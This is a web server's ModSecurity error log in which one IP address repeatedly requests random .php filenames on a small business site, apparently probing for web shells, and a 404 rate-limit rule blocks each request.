[Sat Apr 18 23:17:51.448185 2026] [:error] [pid 32678:tid 32718] [client 20.203.141.81:58518] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebuom.php"] [unique_id "aeOgnxUlAXU_ZWUu5y8YDAAAAos"]
[Sat Apr 18 23:17:52.072609 2026] [:error] [pid 34290:tid 34334] [client 20.203.141.81:32252] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebuom.php"] [unique_id "aeOgoBqX6WpmmAXOBi8vdAAAAc8"]
[Sat Apr 18 23:17:52.686214 2026] [:error] [pid 9865:tid 9943] [client 20.203.141.81:54845] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebuom.php"] [unique_id "aeOgoKzb5knECIY-C-iquAAAAIY"]
[Sat Apr 18 23:17:53.739595 2026] [:error] [pid 32678:tid 32713] [client 20.203.141.81:58521] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/emcgm.php"] [unique_id "aeOgoRUlAXU_ZWUu5y8YGwAAAoY"]
[Sat Apr 18 23:17:54.236092 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:32240] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/emcgm.php"] [unique_id "aeOgoiYdRLRhVmaIMx3tQgAAANY"]
[Sat Apr 18 23:17:54.909733 2026] [:error] [pid 9970:tid 9975] [client 20.203.141.81:36609] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/emcgm.php"] [unique_id "aeOgoiYdRLRhVmaIMx3tSQAAAME"]
[Sat Apr 18 23:17:56.102767 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:58549] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/emcgm.php"] [unique_id "aeOgpCYdRLRhVmaIMx3tTQAAAM0"]
[Sat Apr 18 23:17:56.671886 2026] [:error] [pid 9865:tid 9954] [client 20.203.141.81:58537] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/euocu.php"] [unique_id "aeOgpKzb5knECIY-C-iqugAAAJE"]
[Sat Apr 18 23:17:57.265566 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:7916] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/euocu.php"] [unique_id "aeOgpSYdRLRhVmaIMx3tVAAAANI"]
[Sat Apr 18 23:17:58.419904 2026] [:error] [pid 9970:tid 9984] [client 20.203.141.81:37914] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/euocu.php"] [unique_id "aeOgpiYdRLRhVmaIMx3tVgAAAMo"]
[Sat Apr 18 23:17:59.070666 2026] [:error] [pid 13023:tid 13043] [client 20.203.141.81:41192] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/euocu.php"] [unique_id "aeOgp_1e7hG8DAeABB9LIAAAARI"]
[Sat Apr 18 23:17:59.630510 2026] [:error] [pid 9865:tid 9955] [client 20.203.141.81:61790] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeOgp6zb5knECIY-C-iqwQAAAJI"]
[Sat Apr 18 23:18:00.328568 2026] [:error] [pid 32677:tid 32696] [client 20.203.141.81:30976] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeOgqBngmUE3LdC-wP71agAAAlA"]
[Sat Apr 18 23:18:01.138105 2026] [:error] [pid 9865:tid 9959] [client 20.203.141.81:32213] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeOgqazb5knECIY-C-iqxQAAAJY"]
[Sat Apr 18 23:18:01.788373 2026] [:error] [pid 9863:tid 9876] [client 20.203.141.81:37934] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeOgqTjjiypiFrTucbLb0gAAAAM"]
[Sat Apr 18 23:18:02.466799 2026] [:error] [pid 34290:tid 34321] [client 20.203.141.81:37897] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frdyx.php"] [unique_id "aeOgqhqX6WpmmAXOBi8vdwAAAcI"]
[Sat Apr 18 23:18:03.156752 2026] [:error] [pid 9864:tid 9918] [client 20.203.141.81:32242] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frdyx.php"] [unique_id "aeOgq4CFeowknfXHM7k24AAAAEw"]
[Sat Apr 18 23:18:03.693072 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:32221] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frdyx.php"] [unique_id "aeOgqyYdRLRhVmaIMx3tWgAAAMk"]
[Sat Apr 18 23:18:04.421823 2026] [:error] [pid 9865:tid 9957] [client 20.203.141.81:32809] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frdyx.php"] [unique_id "aeOgrKzb5knECIY-C-iqzAAAAJQ"]
[Sat Apr 18 23:18:05.111846 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:31016] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeOgrazb5knECIY-C-iqzQAAAI0"]
[Sat Apr 18 23:18:05.667854 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:41187] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeOgrSYdRLRhVmaIMx3tXAAAAMU"]
[Sat Apr 18 23:18:06.712881 2026] [:error] [pid 9970:tid 9984] [client 20.203.141.81:32807] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeOgriYdRLRhVmaIMx3tXQAAAMo"]
[Sat Apr 18 23:18:07.603420 2026] [:error] [pid 34290:tid 34324] [client 20.203.141.81:31032] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "aeOgrxqX6WpmmAXOBi8veAAAAcU"]
[Sat Apr 18 23:18:08.160217 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:63706] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwtoa.php"] [unique_id "aeOgsP1e7hG8DAeABB9LKQAAARA"]
[Sat Apr 18 23:18:08.785875 2026] [:error] [pid 9865:tid 9952] [client 20.203.141.81:32193] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwtoa.php"] [unique_id "aeOgsKzb5knECIY-C-iq0AAAAI8"]
[Sat Apr 18 23:18:09.310125 2026] [:error] [pid 9865:tid 9939] [client 20.203.141.81:47663] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwtoa.php"] [unique_id "aeOgsazb5knECIY-C-iq1AAAAII"]
[Sat Apr 18 23:18:09.864370 2026] [:error] [pid 9865:tid 9949] [client 20.203.141.81:54817] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwtoa.php"] [unique_id "aeOgsazb5knECIY-C-iq1wAAAIw"]
[Sat Apr 18 23:18:10.382915 2026] [:error] [pid 32678:tid 32724] [client 20.203.141.81:41159] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gbhyv.php"] [unique_id "aeOgshUlAXU_ZWUu5y8YNwAAApE"]
[Sat Apr 18 23:18:10.920177 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:56967] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gbhyv.php"] [unique_id "aeOgsv1e7hG8DAeABB9LLgAAAQE"]
[Sat Apr 18 23:18:11.423472 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:30985] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gbhyv.php"] [unique_id "aeOgs_1e7hG8DAeABB9LMgAAAQU"]
[Sat Apr 18 23:18:12.088743 2026] [:error] [pid 13023:tid 13048] [client 20.203.141.81:41178] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gbhyv.php"] [unique_id "aeOgtP1e7hG8DAeABB9LOAAAARc"]
[Sat Apr 18 23:18:12.618939 2026] [:error] [pid 13023:tid 13043] [client 20.203.141.81:58533] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gedim.php"] [unique_id "aeOgtP1e7hG8DAeABB9LPAAAARI"]
[Sat Apr 18 23:18:13.184124 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:31015] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gedim.php"] [unique_id "aeOgtf1e7hG8DAeABB9LPgAAAQU"]
[Sat Apr 18 23:18:13.672606 2026] [:error] [pid 34290:tid 34341] [client 20.203.141.81:37919] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gedim.php"] [unique_id "aeOgtRqX6WpmmAXOBi8vfAAAAdY"]
[Sat Apr 18 23:18:14.182127 2026] [:error] [pid 34290:tid 34336] [client 20.203.141.81:32794] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gedim.php"] [unique_id "aeOgthqX6WpmmAXOBi8vfgAAAdE"]
[Sat Apr 18 23:18:14.770377 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:64207] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibano.php"] [unique_id "aeOgtv1e7hG8DAeABB9LRgAAAQ8"]
[Sat Apr 18 23:18:15.293031 2026] [:error] [pid 9864:tid 9907] [client 20.203.141.81:41156] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibano.php"] [unique_id "aeOgt4CFeowknfXHM7k25AAAAEI"]
[Sat Apr 18 23:18:15.813755 2026] [:error] [pid 9864:tid 9928] [client 20.203.141.81:61773] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibano.php"] [unique_id "aeOgt4CFeowknfXHM7k25wAAAFY"]
[Sat Apr 18 23:18:16.330304 2026] [:error] [pid 13023:tid 13033] [client 20.203.141.81:7878] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibano.php"] [unique_id "aeOguP1e7hG8DAeABB9LTQAAAQg"]
[Sat Apr 18 23:18:16.842045 2026] [:error] [pid 9864:tid 9913] [client 20.203.141.81:61823] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifrea.php"] [unique_id "aeOguICFeowknfXHM7k28AAAAEc"]
[Sat Apr 18 23:18:17.616172 2026] [:error] [pid 9970:tid 9997] [client 20.203.141.81:64193] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifrea.php"] [unique_id "aeOguSYdRLRhVmaIMx3tYwAAANc"]
[Sat Apr 18 23:18:18.133840 2026] [:error] [pid 9970:tid 9989] [client 20.203.141.81:37889] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifrea.php"] [unique_id "aeOguiYdRLRhVmaIMx3tZQAAAM8"]
[Sat Apr 18 23:18:18.629215 2026] [:error] [pid 32647:tid 32652] [client 20.203.141.81:41199] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifrea.php"] [unique_id "aeOgukkxooM0iRo6e541IgAAAgI"]
[Sat Apr 18 23:18:19.136861 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:58532] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/itlvk.php"] [unique_id "aeOguyYdRLRhVmaIMx3taAAAANY"]
[Sat Apr 18 23:18:19.649340 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:58509] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/itlvk.php"] [unique_id "aeOguyYdRLRhVmaIMx3tbgAAANI"]
[Sat Apr 18 23:18:20.448006 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:64237] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/itlvk.php"] [unique_id "aeOgvP1e7hG8DAeABB9LVgAAAQU"]
[Sat Apr 18 23:18:21.325516 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:56989] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/itlvk.php"] [unique_id "aeOgvRngmUE3LdC-wP71dgAAAkQ"]
[Sat Apr 18 23:18:22.082033 2026] [:error] [pid 32677:tid 32701] [client 20.203.141.81:32246] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jctyd.php"] [unique_id "aeOgvhngmUE3LdC-wP71eAAAAlU"]
[Sat Apr 18 23:18:22.603367 2026] [:error] [pid 32677:tid 32693] [client 20.203.141.81:58505] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jctyd.php"] [unique_id "aeOgvhngmUE3LdC-wP71eQAAAk0"]
[Sat Apr 18 23:18:23.245736 2026] [:error] [pid 13023:tid 13034] [client 20.203.141.81:54796] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jctyd.php"] [unique_id "aeOgv_1e7hG8DAeABB9LWAAAAQk"]
[Sat Apr 18 23:18:24.062057 2026] [:error] [pid 34290:tid 34330] [client 20.203.141.81:32831] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jctyd.php"] [unique_id "aeOgwBqX6WpmmAXOBi8vgAAAAcs"]
[Sat Apr 18 23:18:24.591407 2026] [:error] [pid 34288:tid 34315] [client 20.203.141.81:37933] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jtfocpif.php"] [unique_id "aeOgwOTIiy__PtiLmpngLAAAAZc"]
[Sat Apr 18 23:18:25.172483 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:8173] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jtfocpif.php"] [unique_id "aeOgwf1e7hG8DAeABB9LWgAAARA"]
[Sat Apr 18 23:18:25.683329 2026] [:error] [pid 32677:tid 32687] [client 20.203.141.81:61787] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jtfocpif.php"] [unique_id "aeOgwRngmUE3LdC-wP71fgAAAkc"]
[Sat Apr 18 23:18:26.252072 2026] [:error] [pid 32677:tid 32689] [client 20.203.141.81:54836] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jtfocpif.php"] [unique_id "aeOgwhngmUE3LdC-wP71gQAAAkk"]
[Sat Apr 18 23:18:26.759736 2026] [:error] [pid 13023:tid 13037] [client 20.203.141.81:56988] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/junvh.php"] [unique_id "aeOgwv1e7hG8DAeABB9LXwAAAQw"]
